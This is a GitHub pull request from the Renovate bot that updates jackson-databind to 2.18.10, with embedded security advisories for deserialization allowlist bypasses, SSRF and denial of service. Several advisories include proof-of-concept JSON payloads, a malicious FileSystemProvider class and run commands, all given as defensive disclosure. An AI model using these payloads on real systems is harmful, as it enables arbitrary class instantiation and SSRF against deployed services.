Skip to content

fix(deps): update dependency com.fasterxml.jackson.core:jackson-databind to v2.18.10 [security] - #602

Open
renovate[bot] wants to merge 1 commit into
masterfrom
renovate/maven-com.fasterxml.jackson.core-jackson-databind-vulnerability
Open

fix(deps): update dependency com.fasterxml.jackson.core:jackson-databind to v2.18.10 [security]#602
renovate[bot] wants to merge 1 commit into
masterfrom
renovate/maven-com.fasterxml.jackson.core-jackson-databind-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Jun 30, 2026 •
edited
Loading

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

Package Change Age Confidence
com.fasterxml.jackson.core:jackson-databind (source) 2.17.2 → 2.18.10 age confidence

jackson-databind: Deeply nested JsonNode throws StackOverflowError for toString()

CVE-2026-50193 / GHSA-3wrr-7qpf-2prh

More information

Details

Impact

Potential Denial-of-Service when attacker sends deeply nested JSON if (and only if) service:

  1. Reads deeply nested (1000s of levels) JSON as JsonNode (ObjectMapper.readTree())
  2. Writes out same (or modifided) node using JsonNode.toString()

which can consume significant amount of resources with concurrent relatively small requests (1000 nested arrays is 2kB).

Patches

Fixed in 2.14.0 via https://github.com/FasterXML/jackson-databind/issues/3447.

Workarounds

Avoid serializing JsonNode using toString(): use ObjectMapper.writeValueAsString(node)

Severity

  • CVSS Score: 6.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

jackson-databind has a PolymorphicTypeValidator bypass via generic type parameters that allows arbitrary class instantiation

CVE-2026-54512 / GHSA-j3rv-43j4-c7qm

More information

Details

jackson-databind's PolymorphicTypeValidator (PTV) is the primary safety mechanism guarding polymorphic deserialization. When polymorphic typing is enabled and a type identifier contains generic parameters (i.e. the type ID string contains <), DatabindContext._resolveAndValidateGeneric() validates only the raw container class name (the substring before <) against the configured PTV.

If the container type is approved, the method parses the full canonical type string via TypeFactory.constructFromCanonical() and returns the fully parameterized type without ever validating the nested type arguments against the PTV. The nested type arguments are then resolved, instantiated, and populated as beans during deserialization.

An attacker who controls the type ID can therefore place a denied class as a generic type parameter of an allowed container — for example java.util.ArrayList<com.evil.Gadget> when only java.util.ArrayList is allow-listed. The container passes the PTV check; com.evil.Gadget is loaded via Class.forName(name, true, loader), instantiated, and its properties are set from attacker-controlled JSON. This completely bypasses an explicitly configured PTV allow-list.

This is the same vulnerability class responsible for the historical sequence of jackson-databind deserialization CVEs; here it manifests as a validator bypass rather than a missing deny-list entry.

Impact
  • Bypass of the PTV allow-list, including the recommended BasicPolymorphicTypeValidator configured with name-prefix allow rules.
  • Arbitrary class instantiation of any type assignable to the container's element/parameter position, with attacker-controlled property values (setter/field injection).
  • Potential unauthenticated remote code execution when a class with exploitable side effects (JNDI lookup, JDBC/connection-pool gadgets,TemplatesImpl-style loaders, etc.) is present on the classpath.

Applications that accept untrusted JSON and rely on a configured PTV — the documented, security-conscious configuration — are affected.

Proof of Concept

Configuration restricting polymorphic deserialization to a single safe container:

BasicPolymorphicTypeValidator ptv = BasicPolymorphicTypeValidator.builder()
        .allowIfSubType("java.util.ArrayList")
        .build();

ObjectMapper mapper = JsonMapper.builder()
        .polymorphicTypeValidator(ptv)
        .build();

Malicious payload (Wrapper.value is Object with @JsonTypeInfo(use = Id.CLASS, include = As.WRAPPER_ARRAY)):

{"value":["java.util.ArrayList<com.evil.EvilGadget>",[{"cmd":"calc.exe"}]]}

On vulnerable versions, com.evil.EvilGadget is instantiated and its cmd property is set, despite only java.util.ArrayList being allow-listed. On 2.18.8 / 2.21.4 / 3.1.4 the deserialization throws InvalidTypeIdException before instantiation.

Variant payloads (all bypass an ArrayList/HashMap allow-list):

Type ID Smuggled type position
java.util.ArrayList<Evil> list element
java.util.HashMap<Evil,String> map key
java.util.HashMap<String,Evil> map value
java.util.ArrayList<java.util.ArrayList<Evil>> nested element
java.util.ArrayList<Evil[]> array element
Patches

Fixed in 2.18.8, 2.21.4 and 3.1.4 via the changes for FasterXML/jackson-databind#5988, commit 434d6c511. The fix adds recursive validation of each non-trivial type parameter (and array element types appearing as parameters) through the full PTV chain, with documented exemptions for Object (wildcard resolution) and Enum types.

PolymorphicTypeValidator was added in 2.10.0 so vulnerability N/A for versions prior to that.

Severity

  • CVSS Score: 8.1 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

jackson-databind has an array subtype allowlist bypass in BasicPolymorphicTypeValidator (allowIfSubTypeIsArray)

CVE-2026-54513 / GHSA-rmj7-2vxq-3g9f

More information

Details

Summary

BasicPolymorphicTypeValidator.Builder.allowIfSubTypeIsArray() allowlists any array type based only on clazz.isArray(), without validating the array's component (element) type against the configured allowlist. A PTV built with allowIfSubTypeIsArray() plus an explicit concrete-type allowlist therefore still permits EvilType[] even though EvilType is not allowlisted. When Jackson deserializes the elements and no per-element type IDs are present, it instantiates the component type directly with no further PTV check, bypassing the allowlist.

Impact

Applications using BasicPolymorphicTypeValidator with allowIfSubTypeIsArray() as a safeguard get no protection for concrete array component types; an attacker controlling JSON can instantiate non-allowlisted types via an array wrapper, re-opening the gadget-instantiation risk PTV is meant to prevent.

Affected / Patched (verified via git tag --contains)
  • 2.18 line: >= 2.10.0, < 2.18.8 -> fixed in 2.18.8
  • 2.19-2.21 line: >= 2.19.0, < 2.21.4 -> fixed in 2.21.4
  • 3.x line: >= 3.0.0, < 3.1.4 -> fixed in 3.1.4

PolymorphicTypeValidator was added in 2.10.0 so vulnerability N/A for versions prior to that.

Severity / CWE

Maintainer: significant. Reporter: HIGH. CWE-184 (Incomplete List of Disallowed Inputs); related CWE-502.

Upstream fix

FasterXML/jackson-databind#5981; fix PR #​5983 (24529da), 2.18 backport PR #​5984 (01d1692). Released 2026-06-04 in 2.18.8 / 2.21.4 / 3.1.4.

Credits

Omkhar Arasaratnam (@​omkhar) - finder.

Severity

  • CVSS Score: 8.1 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

jackson-databind has case-insensitive deserialization bypasses per-property @​JsonIgnoreProperties

CVE-2026-54515 / GHSA-5jmj-h7xm-6q6v

More information

Details

Summary

In BeanDeserializerBase.createContextual(), per-property @JsonIgnoreProperties exclusions are applied by _handleByNameInclusion(), producing a contextual deserializer whose BeanPropertyMap has the ignored properties removed. The subsequent per-property case-insensitivity block (triggered by @JsonFormat(ACCEPT_CASE_INSENSITIVE_PROPERTIES)) rebuilds from this._beanProperties (the original, unfiltered map) instead of contextual._beanProperties, then overwrites the filtered map — restoring every property _handleByNameInclusion had just removed. The ignored property becomes writable again.

Impact

An application that both enables case-insensitive matching and relies on per-property @JsonIgnoreProperties to keep a field unwritable can have that field set from untrusted JSON (mass-assignment-style write).

Affected / Patched

Will be fixed in 2.18.9, 2.21.5, 2.22.1 and 3.1.4.

Severity / CWE

Maintainer: minor. Reporter: Moderate. CWE-915.

Upstream fix

FasterXML/jackson-databind#5962 (PR #​5964, 0e1b0b2), milestone 3.1.4. Released 2026-06-04.

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

jackson-databind: InetSocketAddress deserialization triggers eager DNS resolution (SSRF)

CVE-2026-54514 / GHSA-hgj6-7826-r7m5

More information

Details

Summary

JDKFromStringDeserializer constructed InetSocketAddress with new InetSocketAddress(host, port), which performs eager DNS name resolution for hostname inputs at deserialization time. An application that binds untrusted JSON into a type containing an InetSocketAddress field issues an attacker-chosen DNS query during readValue, before any application-level validation or connect logic. The fix uses InetSocketAddress.createUnresolved(host, port), deferring DNS to an explicit connect.

Impact

An attacker controlling JSON deserialized into an InetSocketAddress-bearing type can force outbound DNS lookups for attacker-chosen hostnames at deserialization time (SSRF / DNS-based out-of-band interaction / internal-resolver probing), purely from binding.

Affected / Patched (verified via git tag --contains on 1f5a103)
  • 2.18 line: >= 2.18.0, < 2.18.8 -> fixed in 2.18.8
  • 2.19-2.21 line: >= 2.19.0, < 2.21.4 -> fixed in 2.21.4
  • 3.x line: >= 3.0.0, < 3.1.4 -> fixed in 3.1.4
Severity / CWE

Maintainer: minor. Reporter: LOW. CWE-918 (SSRF).

Upstream fix

FasterXML/jackson-databind#5951 ("Improve InetSocketAddress deserialization"). Released 2026-06-04 in 2.18.8 / 2.21.4 / 3.1.4.

Credits

Omkhar Arasaratnam (@​omkhar) - finder.

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

jackson-databind: Comparable missing from DefaultBaseTypeLimitingValidator's unsafe base types (incomplete PolymorphicTypeValidator denylist)

CVE-2026-83557 / GHSA-gx83-3vf8-gh7j

More information

Details

Summary

DefaultBaseTypeLimitingValidator — the PolymorphicTypeValidator used automatically whenever @JsonTypeInfo is applied without an explicitly configured custom validator — denies polymorphic resolution only for nine specific "unsafe base types" (Object, Serializable, Closeable, AutoCloseable, Cloneable, Runnable, java.util.logging.Handler, javax.naming.Referenceable, javax.sql.DataSource). Its isSafeSubType() returns true unconditionally for every other base type. java.lang.Comparable is not in that list, despite being implemented by a very large fraction of JDK and application classes — comparable in breadth to Serializable, which is denylisted for exactly that reason. An application with an @JsonTypeInfo-annotated Comparable-typed property, and no custom validator configured, will accept a type identifier for essentially any class implementing Comparable.

Details

Affected file: src/main/java/tools/jackson/databind/jsontype/DefaultBaseTypeLimitingValidator.java

private final static class UnsafeBaseTypes {
    private final Set<String> UNSAFE = new HashSet<>();
    {
        UNSAFE.add(Object.class.getName());
        UNSAFE.add(java.io.Closeable.class.getName());
        UNSAFE.add(java.io.Serializable.class.getName());
        UNSAFE.add(AutoCloseable.class.getName());
        UNSAFE.add(Cloneable.class.getName());
        UNSAFE.add(Runnable.class.getName());          // [databind#5014]
        UNSAFE.add("java.util.logging.Handler");
        UNSAFE.add("javax.naming.Referenceable");
        UNSAFE.add("javax.sql.DataSource");
        // java.lang.Comparable is NOT present here
    }
}

protected boolean isSafeSubType(DatabindContext ctxt,
        JavaType baseType, JavaType subType) {
    return true;   // unconditional for every base type not in UNSAFE
}

The class's own JavaDoc acknowledges the design ("Note that when using potentially unsafe base type like java.lang.Object a custom implementation... is needed"), so the trade-off of leaving broad base types unrestricted is intentional. The gap is that Comparable has the same breadth of implementers as the types this class does restrict, and its absence looks like an oversight rather than a deliberate choice — consistent with the ongoing, incremental nature of this list (Runnable was added recently for issue #​5014).

This is specific to the default, unconfigured validator reached via bare @JsonTypeInfo usage. Global "Default Typing" via activateDefaultTyping() is not affected, because that method structurally requires an explicit PolymorphicTypeValidator argument — a correctly-configured BasicPolymorphicTypeValidator rejects the same payload under activateDefaultTyping().

PoC

Built entirely from source (jackson-databind + jackson-core + jackson-annotations, javac, OpenJDK 21, no third-party gadget libraries, no network access):

1. Sanity check (benign class, confirms the mechanism fires):

static class SafeThing implements Comparable<SafeThing> {
    public String name;
    public SafeThing() {}
    public int compareTo(SafeThing o) { return 0; }
}
static class Holder {
    @JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
    public Comparable<?> value;
}

ObjectMapper mapper = JsonMapper.builder().build();   // no custom PTV
String json = "{\"value\":{\"@class\":\"...SafeThing\",\"name\":\"hello\"}}";
Holder h = mapper.readValue(json, Holder.class);
// RESULT: ACCEPTED, class=...SafeThing

2. Real JDK class substitution:

String json = "{\"value\":[\"java.io.File\",\"/etc/passwd\"]}";
Holder h = mapper.readValue(json, Holder.class);
// RESULT: ACCEPTED, class=java.io.File value=/etc/passwd

3. Negative control — Default Typing with an explicit custom PTV:

PolymorphicTypeValidator ptv = BasicPolymorphicTypeValidator.builder()
    .allowIfSubType("PtvGapTest4").build();
ObjectMapper mapper = JsonMapper.builder()
    .activateDefaultTyping(ptv, DefaultTyping.NON_FINAL).build();
// same java.io.File payload
// RESULT: REJECTED - InvalidTypeIdException: "...denied resolution"

Observed output:

$ java -cp .:build/classes PtvGapTest3
Trying: {"value":["java.io.File","/etc/passwd"]}
ACCEPTED, class=java.io.File value=/etc/passwd

$ java -cp .:build/classes PtvGapTest4
Trying malicious substitution: ["PtvGapTest4$Holder",{"value":["java.io.File","/etc/passwd"]}]
REJECTED - InvalidTypeIdException: Could not resolve type id 'java.io.File' as a
subtype of java.lang.Comparable: Configured PolymorphicTypeValidator denied resolution

Impact

Any application declaring an @JsonTypeInfo-annotated property or class with Comparable as its base type, without a separately configured restrictive PolymorphicTypeValidator, will accept a type identifier for essentially any class implementing Comparable. Concrete impact is demonstrated via java.io.File: an attacker can cause construction of a File object for an arbitrary, attacker-chosen path. On its own this is a controlled-object-instantiation primitive; if the application later calls path-sensitive or mutating methods on the received value, this becomes a path-traversal-adjacent primitive.

Suggested remediation:

  1. Add java.lang.Comparable to UnsafeBaseTypes.UNSAFE.
  2. Audit other broad JDK interfaces (java.lang.Iterable, java.util.EventListener) for the same gap.
  3. Consider a narrower default for isSafeSubType() for base types outside the fixed denylist, rather than unconditional true.

Severity

  • CVSS Score: 5.6 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

jackson-databind: Path Deserialization Missing Scheme Allowlist for FileSystemProvider Resolution

CVE-2026-19032 / GHSA-wjgm-6hv5-3cvf

More information

Details

Summary

A java.nio.file.Path field bound from untrusted JSON reaches JDKFromStringDeserializer.NioPathHelper.deserialize. The attacker string flows through new URI(value) → Path.of(uri), then on FileSystemNotFoundException into a ServiceLoader<FileSystemProvider> enumeration that calls provider.getPath(uri) on the first scheme-matching provider. No scheme is rejected, so untrusted JSON can drive an arbitrary registered provider under the default JsonMapper.builder().build().

Impact is bounded. The JDK built-in providers (file, jar/zipfs) do no network I/O and do not mount, so the path is inert without a side-effecting third-party provider. Binding Path from untrusted input is already an anti-pattern.

Description

NioPathHelper.deserialize performs provider resolution driven by the attacker URI (abridged; the real method also handles a Windows drive-letter prefix and wraps failures via ctxt.handleInstantiationProblem(...)):

int colonIx = value.indexOf(':');
if (colonIx < 0) { return Path.of(value); }
...
final URI uri = new URI(value);          // attacker-controlled URI string
try {
    return Path.of(uri);                  // resolves scheme -> may load a FileSystemProvider
} catch (FileSystemNotFoundException cause) {
    final String scheme = uri.getScheme();
    for (FileSystemProvider provider : ServiceLoader.load(FileSystemProvider.class)) {
        if (provider.getScheme().equalsIgnoreCase(scheme)) {
            return provider.getPath(uri);  // attacker scheme selects & drives a provider
        }
    }
    // no matching provider -> ctxt.handleInstantiationProblem(...) (throws by default)
}

The attacker's scheme selects the provider and the attacker's URI is passed to it; the enumeration also forces provider classloading during readValue. For built-in schemes like jar:, getPath throws FileSystemNotFoundException (a mount requires explicit newFileSystem), surfacing as a wrapped ValueInstantiationException with no terminal effect. Any mount, network I/O, or resource access depends entirely on the selected provider.

Vulnerable Code Location
  • src/main/java/tools/jackson/databind/deser/jdk/JDKFromStringDeserializer.java
    • STD_PATH → NioPathHelper.deserialize; NioPathHelper.deserialize body
      (new URI → Path.of(uri) → ServiceLoader.load(FileSystemProvider.class) → provider.getPath(uri)).
Proof of Concept

Two PoCs are provided.

PoC 2 registers a custom FileSystemProvider to show that attacker JSON reaches provider.getPath(attackerURI) inside readValue. Whether a third-party provider then does anything harmful is outside the library's control. The in-scope issue is PoC 1 — the jar:/arbitrary-scheme path reaching the ServiceLoader fallback with no scheme restriction.

PoC 1 — sink reached (built-in jar provider).

com/poc/Vuln04_PathProvider.java:

package com.poc;

import tools.jackson.databind.ObjectMapper;
import tools.jackson.databind.json.JsonMapper;
import java.nio.file.Path;

/**
 * Vuln 4: java.nio.file.Path deserialization resolves an attacker URI via
 * Path.of(uri) / ServiceLoader<FileSystemProvider>.
 */
public class Vuln04_PathProvider {
    public static class Config { public Path workdir; }

    public static void main(String[] args) throws Exception {
        ObjectMapper mapper = JsonMapper.builder().build();
        // jar: scheme forces FileSystemProvider resolution / mounting attempt on attacker URI.
        String json = "{\"workdir\":\"jar:file:/tmp/jackson_poc_evil.zip!/x\"}";
        System.out.println("Deserializing (default mapper): " + json);
        try {
            Config c = mapper.readValue(json, Config.class);
            System.out.println("Resolved Path = " + c.workdir + "  (class=" + (c.workdir==null?"null":c.workdir.getClass().getName()) + ")");
            System.out.println("RESULT: VULNERABLE - attacker URI scheme resolved through provider machinery during readValue");
        } catch (Throwable t) {
            System.out.println("Throwable during resolution: " + t.getClass().getName() + ": " + t.getMessage());
            System.out.println("RESULT: VULNERABLE (attacker URI drove provider resolution; threw " + t.getClass().getSimpleName() + " inside readValue)");
        }
    }
}

PoC 2 — scheme-selection mechanism demo (custom FileSystemProvider).
A third-party provider (scheme evilscheme) registered via META-INF/services/java.nio.file.spi.FileSystemProvider, which is standing in for any provider a real application ships.

com/poc/EvilFileSystemProvider.java:

package com.poc;

import java.nio.file.*;
import java.nio.file.spi.FileSystemProvider;
import java.nio.file.attribute.*;
import java.net.URI;
import java.io.IOException;
import java.util.*;
import java.util.Set;
import java.nio.channels.SeekableByteChannel;

/**
 * A custom java.nio.file.spi.FileSystemProvider registered via META-INF/services, using the
 * scheme "evilscheme". It stands in for ANY third-party FileSystemProvider present on a real
 * application's classpath. Its static initializer and getPath() record that they executed,
 * proving that attacker-controlled JSON drove provider class loading + provider.getPath(uri)
 * inside jackson's readValue.
 */
public class EvilFileSystemProvider extends FileSystemProvider {
    public static volatile boolean STATIC_INIT_RAN = false;
    public static volatile String GET_PATH_URI = null;
    static { STATIC_INIT_RAN = true; }

    @Override public String getScheme() { return "evilscheme"; }

    @Override public Path getPath(URI uri) {
        GET_PATH_URI = uri.toString();
        System.out.println(">>> [EVIL-PROVIDER] getPath() invoked with attacker URI: " + uri);
        // A malicious/vulnerable provider could here open a socket, read a file, mount a FS, etc.
        return java.nio.file.Path.of(System.getProperty("java.io.tmpdir"), "evilprovider-marker");
    }

    // --- remaining abstract methods: minimal stubs ---
    @Override public FileSystem newFileSystem(URI uri, Map<String,?> env) { throw new UnsupportedOperationException(); }
    @Override public FileSystem getFileSystem(URI uri) { throw new FileSystemNotFoundException(); }
    @Override public SeekableByteChannel newByteChannel(Path p, Set<? extends OpenOption> o, FileAttribute<?>... a) throws IOException { throw new UnsupportedOperationException(); }
    @Override public DirectoryStream<Path> newDirectoryStream(Path d, DirectoryStream.Filter<? super Path> f) { throw new UnsupportedOperationException(); }
    @Override public void createDirectory(Path d, FileAttribute<?>... a) { throw new UnsupportedOperationException(); }
    @Override public void delete(Path p) { throw new UnsupportedOperationException(); }
    @Override public void copy(Path s, Path t, CopyOption... o) { throw new UnsupportedOperationException(); }
    @Override public void move(Path s, Path t, CopyOption... o) { throw new UnsupportedOperationException(); }
    @Override public boolean isSameFile(Path p, Path p2) { return false; }
    @Override public boolean isHidden(Path p) { return false; }
    @Override public FileStore getFileStore(Path p) { throw new UnsupportedOperationException(); }
    @Override public void checkAccess(Path p, AccessMode... m) { }
    @Override public <V extends FileAttributeView> V getFileAttributeView(Path p, Class<V> t, LinkOption... o) { return null; }
    @Override public <A extends BasicFileAttributes> A readAttributes(Path p, Class<A> t, LinkOption... o) { throw new UnsupportedOperationException(); }
    @Override public Map<String,Object> readAttributes(Path p, String a, LinkOption... o) { throw new UnsupportedOperationException(); }
    @Override public void setAttribute(Path p, String a, Object v, LinkOption... o) { }
}

Registration descriptor —
src/main/resources/META-INF/services/java.nio.file.spi.FileSystemProvider:

com.poc.EvilFileSystemProvider

Driver — com/poc/Vuln04b_PathProviderMount.java:

package com.poc;

import tools.jackson.databind.ObjectMapper;
import tools.jackson.databind.json.JsonMapper;

/**
 * Vuln 4 (end-to-end terminal effect): a third-party FileSystemProvider registered via
 * META-INF/services (scheme "evilscheme") stands in for any provider on a real app's
 * classpath. Attacker JSON with that scheme drives jackson's ServiceLoader fallback to
 * (1) load the provider class (running its static initializer) and (2) invoke
 * provider.getPath(attackerUri) -- all inside readValue, with NO application code.
 */
public class Vuln04b_PathProviderMount {
    public static class Config { public java.nio.file.Path workdir; }

    public static void main(String[] args) throws Exception {
        System.out.println("Provider static-init ran before deserialization? " + EvilFileSystemProvider.STATIC_INIT_RAN);
        ObjectMapper mapper = JsonMapper.builder().build();   // default config
        String json = "{\"workdir\":\"evilscheme://attacker-controlled/target?x=1\"}";
        System.out.println("Deserializing (default mapper): " + json);

        Config c = mapper.readValue(json, Config.class);

        System.out.println("Resolved Path = " + c.workdir);
        System.out.println("Provider static-init ran: " + EvilFileSystemProvider.STATIC_INIT_RAN);
        System.out.println("Provider.getPath() attacker URI: " + EvilFileSystemProvider.GET_PATH_URI);
        boolean ok = EvilFileSystemProvider.GET_PATH_URI != null
                && EvilFileSystemProvider.GET_PATH_URI.contains("attacker-controlled");
        System.out.println(ok
            ? "RESULT: VULNERABLE - attacker JSON drove ServiceLoader provider load + provider.getPath(attackerUri) inside readValue (terminal effect proven)"
            : "RESULT: NOT reproduced");
    }
}
Execution Steps

The PoCs need only the three Jackson 3.2.1 jars on the classpath and can be built with plain javac/java . PoC 2 additionally requires the META-INF/services descriptor to be on the runtime classpath

##### 0. Locate the three published dependency jars.
M2="$HOME/.m2/repository"
DB="$M2/tools/jackson/core/jackson-databind/3.2.1/jackson-databind-3.2.1.jar"
CORE="$M2/tools/jackson/core/jackson-core/3.2.1/jackson-core-3.2.1.jar"
ANN="$M2/com/fasterxml/jackson/core/jackson-annotations/2.22/jackson-annotations-2.22.jar"
CP="$DB:$CORE:$ANN"

##### 1. Compile the three sources.
cd poc-project
mkdir -p out
javac -cp "$CP" -d out \
  src/main/java/com/poc/EvilFileSystemProvider.java \
  src/main/java/com/poc/Vuln04_PathProvider.java \
  src/main/java/com/poc/Vuln04b_PathProviderMount.java

##### 2. Put the ServiceLoader descriptor on the runtime classpath (needed by PoC 2).
mkdir -p out/META-INF/services
cp src/main/resources/META-INF/services/java.nio.file.spi.FileSystemProvider \
   out/META-INF/services/java.nio.file.spi.FileSystemProvider

##### 3. Run both PoCs.
java -cp "out:$CP" com.poc.Vuln04_PathProvider        # PoC 1
java -cp "out:$CP" com.poc.Vuln04b_PathProviderMount  # PoC 2
Reproduction Evidence

Executed against jackson-databind 3.2.1 (OpenJDK 25).

PoC 1 :

Deserializing (default mapper): {"workdir":"jar:file:/tmp/jackson_poc_evil.zip!/x"}
Throwable during resolution: tools.jackson.databind.exc.ValueInstantiationException: Cannot construct instance of `java.nio.file.Path`, problem: `java.nio.file.FileSystemNotFoundException`
 at [Source: REDACTED (`StreamReadFeature.INCLUDE_SOURCE_IN_LOCATION` disabled); byte offset: #UNKNOWN] (through reference chain: com.poc.Vuln04_PathProvider$Config["workdir"])
RESULT: VULNERABLE (attacker URI drove provider resolution; threw ValueInstantiationException inside readValue)

Notes: the JDK built-in jar provider's getPath does not auto-mount (it also throws FileSystemNotFoundException, since only newFileSystem mounts). PoC 1 proves the in-scope defect: attacker input reaches the scheme-driven ServiceLoader resolution during readValue with no allow-list. PoC 2 only illustrates the downstream mechanism.

PoC 2 :

Provider static-init ran before deserialization? true
Deserializing (default mapper): {"workdir":"evilscheme://attacker-controlled/target?x=1"}
>>> [EVIL-PROVIDER] getPath() invoked with attacker URI: evilscheme://attacker-controlled/target?x=1
Resolved Path = /var/folders/.../T/evilprovider-marker
Provider static-init ran: true
Provider.getPath() attacker URI: evilscheme://attacker-controlled/target?x=1
RESULT: VULNERABLE - attacker JSON drove ServiceLoader provider load + provider.getPath(attackerUri) inside readValue (terminal effect proven)

Purely from a JSON string, jackson's ServiceLoader fallback selected the attacker-named scheme's provider and invoked provider.getPath(uri) with the full attacker URI inside readValue. Whether a given provider then does anything harmful is outside the library's control; the in-scope issue is the absence of a scheme restriction before this fallback runs.

Impact

Untrusted JSON drives provider.getPath(attackerURI) on an attacker-chosen provider during readValue. With only the JDK built-in providers this is inert. Real impact requires a side-effecting third-party provider on the classpath. The fix is to close the
scheme-restriction gap.

Recommended Fix
  1. Restrict the resolved scheme to a fixed, hard-coded set ; reject jar: and other schemes via ctxt.handleWeirdStringValue(...). A hard-coded set keeps the fix backport-safe with no new configuration surface.
  2. Skip the ServiceLoader<FileSystemProvider> enumeration for disallowed schemes, so untrusted JSON cannot select and drive an arbitrary registered provider.
  3. Document that java.nio.file.Path-typed fields should not be bound from untrusted JSON.

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

jackson-databind: Incomplete fix for CVE-2026-54514: eager DNS resolution (SSRF) still present in InetAddress deserialization

CVE-2026-77310 / GHSA-vvgp-rfg2-7rr6

More information

Details

Summary

CVE-2026-54514 (GHSA-hgj6-7826-r7m5) fixed an eager-DNS-resolution / SSRF issue in jackson-databind's deserialization of java.net.InetSocketAddress by switching to InetSocketAddress.createUnresolved(...) (PR #​5951, commit 1f5a1037, released in 2.18.8 / 2.21.4 / 3.1.4). That fix did not cover the sibling java.net.InetAddress branch in the very same FromStringDeserializer.Std._deserialize() switch statement, which still calls InetAddress.getByName(value) and therefore performs an eager forward DNS lookup on attacker-controlled input at deserialization time. The fix is incomplete: the same vulnerability class remains reachable through InetAddress.

Details

File: src/main/java/com/fasterxml/jackson/databind/deser/std/FromStringDeserializer.java

Sibling cases in the same switch:

  • Line 357-358 (UNFIXED):
    case STD_INET_ADDRESS:
    return InetAddress.getByName(value); // eager forward DNS lookup
  • Line 359-381 + helper at 494-496 (FIXED by PR #​5951):
    protected InetSocketAddress _inetSocketAddress(String host, int port) {
    // 05-May-2026, tatu: [databind#5951] Prevent DNS lookup:
    return InetSocketAddress.createUnresolved(host, port); // no DNS
    }

InetAddress is a registered standard string-like scalar type (FromStringDeserializer.types() line 73; findDeserializer() maps it to STD_INET_ADDRESS at line 119-120). Any value deserialized into an InetAddress-typed target — a plain POJO field, a polymorphic subtype, or a default-typing-permitted slot — reaches InetAddress.getByName(attackerControlledString), which invokes the OS/JVM resolver and performs forward DNS resolution before any application validation.

The parent fix's own added unit test asserts address.isUnresolved() with the comment "should NOT resolve address", confirming that performing DNS resolution during deserialization is precisely the behavior being treated as the vulnerability. The InetAddress branch still violates that property.

Verified against the FIXED released artifact (jackson-databind 2.18.8, from Maven Central): decompiled bytecode shows the InetSocketAddress branch now routes through _inetSocketAddress -> createUnresolved, while InetAddress.getByName is still emitted unchanged in the InetAddress branch.

PoC

Lab-only, zero network egress. Run against the fixed jackson-databind 2.18.8.

A custom JDK InetAddressResolver SPI (Java 18+) counts forward lookups locally and answers with loopback, so no traffic leaves the host:

ObjectMapper m = new ObjectMapper();
// InetSocketAddress (patched): 0 resolver lookups, isUnresolved=true
m.readValue("\"internal-metadata.attacker-oob.example:8080\"", InetSocketAddress.class);
// InetAddress (unpatched sibling): 1 resolver lookup on the attacker host
m.readValue("\"internal-metadata.attacker-oob.example\"", InetAddress.class);

Observed output (jackson 2.18.8):
[A] InetSocketAddress isUnresolved=true resolverLookups=0 lastHost=null
[B] InetAddress value=localhost/127.0.0.1 resolverLookups=1 lastHost=internal-metadata.attacker-oob.example

A standalone variant (no SPI) using an RFC-6761 .invalid canary host shows the same: deserializing into InetAddress raises UnknownHostException (the OS resolver was invoked), while InetSocketAddress stays unresolved. Full source in PocResolverCount.java and PocInetAddressIncompleteFix.java.

Reachability with a plain field (no annotations, no polymorphism, no default typing):
static class Config { public InetAddress bindHost; public int port; }
mapper.readValue("{"bindHost":"poc-reach.example","port":1}", Config.class);
// -> resolver invoked on "poc-reach.example"

Impact

An attacker who can influence JSON deserialized into an InetAddress target can force the application to perform outbound forward DNS lookups for attacker-chosen hostnames at deserialization time, before any application-level validation. This yields a DNS-based SSRF / OOB primitive: out-of-band exfiltration / interaction via DNS callbacks, and blind probing of whether internal hostnames resolve (internal-host enumeration). This is the same impact class and trust boundary for which CVE-2026-54514 (CVSS 5.3, CWE-918) was assigned to the InetSocketAddress branch. It is a DNS-lookup / blind SSRF primitive, not arbitrary HTTP SSRF or RCE; it does not itself open a socket.

Suggested fix: avoid eager resolution for InetAddress as well — e.g. defer resolution, validate the host string before resolving, or provide an opt-in/opt-out consistent with the InetSocketAddress fix (there is no direct unresolved-InetAddress equivalent, so deferring/validating or documenting the resolution is the practical mitigation).

Credit : Ta Duc Thien

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate Bot added the dependencies Pull requests that update a dependency file label Jun 30, 2026
@renovate
renovate Bot force-pushed the renovate/maven-com.fasterxml.jackson.core-jackson-databind-vulnerability branch from 405f70c to d2260b0 Compare June 30, 2026 21:37
